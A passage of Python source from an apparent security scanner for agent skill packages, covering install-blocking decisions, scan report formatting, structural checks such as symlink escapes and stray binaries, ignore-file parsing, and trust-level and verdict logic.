  770. blocked = f"Blocked ({result.trust_level} source + {result.verdict} verdict, {n} findings). "
  771. return False, blocked + ("--force does not override a dangerous verdict." if hard_block else "Use --force to override.")
  772. def format_scan_report(result: ScanResult) -> str:
  773. """Compact multi-line report for CLI/chat display; findings sorted critical → low."""
  774. lines = [f"Scan: {result.skill_name} ({result.source}/{result.trust_level}) Verdict: {result.verdict.upper()}"]
  775. if result.findings:
  776. order = {"critical": 0, "high": 1, "medium": 2, "low": 3}
  777. for f in sorted(result.findings, key=lambda f: order.get(f.severity, 4)):
  778. lines.append(f" {f.severity.upper().ljust(8)} {f.category.ljust(14)} "
  779. f"{f'{f.file}:{f.line}'.ljust(30)} \"{f.match[:60]}\"")
  780. lines.append("")
  781. allowed, reason = should_allow_install(result)
  782. status = "ALLOWED" if allowed is True else "NEEDS CONFIRMATION" if allowed is None else "BLOCKED"
  783. return "\n".join(lines + [f"Decision: {status} — {reason}"])
  784. def _check_structure(skill_dir: Path, ignore=None) -> list[Finding]:
  785. """Structural anomalies (counts, sizes, binaries, stray executables, escaping symlinks); *ignore(rel) -> bool*
  786. excludes paths from every count and finding."""
  787. findings = []
  788. def add(pid, sev, cat, rel, match, desc):
  789. findings.append(Finding(pid, sev, cat, rel, 0, match, desc))
  790. file_count = total_size = 0
  791. for f in skill_dir.rglob("*"):
  792. rel = str(f.relative_to(skill_dir))
  793. if not (f.is_file() or f.is_symlink()) or (ignore is not None and ignore(rel)):
  794. continue
  795. file_count += 1
  796. if f.is_symlink():
  797. try:
  798. resolved = f.resolve()
  799. if not resolved.is_relative_to(skill_dir.resolve()):
  800. add("symlink_escape", "critical", "traversal", rel, f"symlink -> {resolved}",
  801. "symlink points outside the skill directory")
  802. except OSError:
  803. add("broken_symlink", "medium", "traversal", rel, "broken symlink", "broken or circular symlink")
  804. continue
  805. try:
  806. st = f.stat()
  807. except OSError:
  808. continue
  809. total_size += (size := st.st_size)
  810. if size > MAX_SINGLE_FILE_KB * 1024:
  811. add("oversized_file", "medium", "structural", rel, f"{size // 1024}KB",
  812. f"file is {size // 1024}KB (limit: {MAX_SINGLE_FILE_KB}KB)")
  813. if (ext := f.suffix.lower()) in SUSPICIOUS_BINARY_EXTENSIONS:
  814. add("binary_file", "critical", "structural", rel, f"binary: {ext}",
  815. f"binary/executable file ({ext}) should not be in a skill")
  816. if ext not in _SCRIPT_EXTENSIONS and st.st_mode & 0o111:
  817. add("unexpected_executable", "medium", "structural", rel, "executable bit set",
  818. "file has executable permission but is not a recognized script type")
  819. if file_count > MAX_FILE_COUNT:
  820. add("too_many_files", "medium", "structural", "(directory)", f"{file_count} files",
  821. f"skill has {file_count} files (limit: {MAX_FILE_COUNT})")
  822. if total_size > MAX_TOTAL_SIZE_KB * 1024: # informational only: large skills are legitimate
  823. add("oversized_skill", "low", "structural", "(directory)", f"{total_size // 1024}KB total",
  824. f"skill is {total_size // 1024}KB total (limit: {MAX_TOTAL_SIZE_KB}KB)")
  825. return findings
  826. # `.skillignore` is Hermes-native; `.clawhubignore` is honored for skills published through ClawHub.
  827. _SKILL_IGNORE_FILENAMES = (".skillignore", ".clawhubignore")
  828. def _load_skill_ignore(skill_dir: Path):
  829. """Build ``ignore(rel_posix_path) -> bool`` from `.skillignore` / `.clawhubignore`. gitignore basics: blank
  830. lines and ``#`` comments skipped; trailing ``/`` = directory (it and everything under it); ``*``/``?`` globs via
  831. fnmatch on the full path and each segment; leading ``/`` anchors to the root. Ignore files always excluded;
  832. ``SKILL.md`` never."""
  833. patterns: list[str] = []
  834. for ig in (skill_dir / name for name in _SKILL_IGNORE_FILENAMES):
  835. with suppress(UnicodeDecodeError, OSError):
  836. if ig.is_file():
  837. patterns.extend(s for s in map(str.strip, ig.read_text(encoding="utf-8-sig").splitlines())
  838. if s and not s.startswith("#"))
  839. def ignore(rel: str) -> bool:
  840. rel_posix = Path(rel).as_posix()
  841. segs = rel_posix.split("/")
  842. base = segs[-1]
  843. if base == "SKILL.md":
  844. return False
  845. if base in _SKILL_IGNORE_FILENAMES:
  846. return True
  847. for pat in patterns:
  848. anchored = pat.startswith("/")
  849. p = pat.strip("/")
  850. if not p:
  851. continue
  852. below = rel_posix.startswith(p + "/")
  853. if pat.endswith("/"): # the dir itself or anything under it; unanchored also as an inner path component
  854. if rel_posix == p or below or (not anchored and ("/" + p + "/") in ("/" + rel_posix + "/")):
  855. return True
  856. # Unanchored: also the basename, any path segment, or a prefix dir (`docs` ignores docs/plans/x.md).
  857. elif fnmatch.fnmatch(rel_posix, p) or (not anchored and (fnmatch.fnmatch(base, p) or below or (
  858. "/" not in p and any(fnmatch.fnmatch(seg, p) for seg in segs)))):
  859. return True
  860. return False
  861. return ignore
  862. _SOURCE_PREFIX_ALIASES = ("skills-sh/", "skills.sh/", "skils-sh/", "skils.sh/")
  863. def _resolve_trust_level(source: str) -> str:
  864. """Source id -> trust level. "official" is provenance, not a user-controlled GitHub id like "official/<repo>";
  865. trusted repos match exactly or as a skill path inside the repo — never a sibling sharing the prefix."""
  866. src = source[len(next((p for p in _SOURCE_PREFIX_ALIASES if source.startswith(p)), "")):]
  867. if src == "agent-created":
  868. return "agent-created"
  869. if src == "official":
  870. return "builtin"
  871. return "trusted" if any(src == t or src.startswith(f"{t}/") for t in TRUSTED_REPOS) else "community"
  872. def _determine_verdict(findings: list[Finding]) -> str:
  873. """critical → dangerous, high → caution; medium/low alone are informational (safe)."""
  874. sev = {f.severity for f in findings}
  875. return "dangerous" if "critical" in sev else "caution" if "high" in sev else "safe"
  876. def _build_summary(name: str, source: str, trust: str, verdict: str, findings: list[Finding]) -> str:
  877. if not findings:
  878. return f"{name}: clean scan, no threats detected"
  879. return f"{name}: {verdict} — {len(findings)} finding(s) in {', '.join(sorted({f.category for f in findings}))}"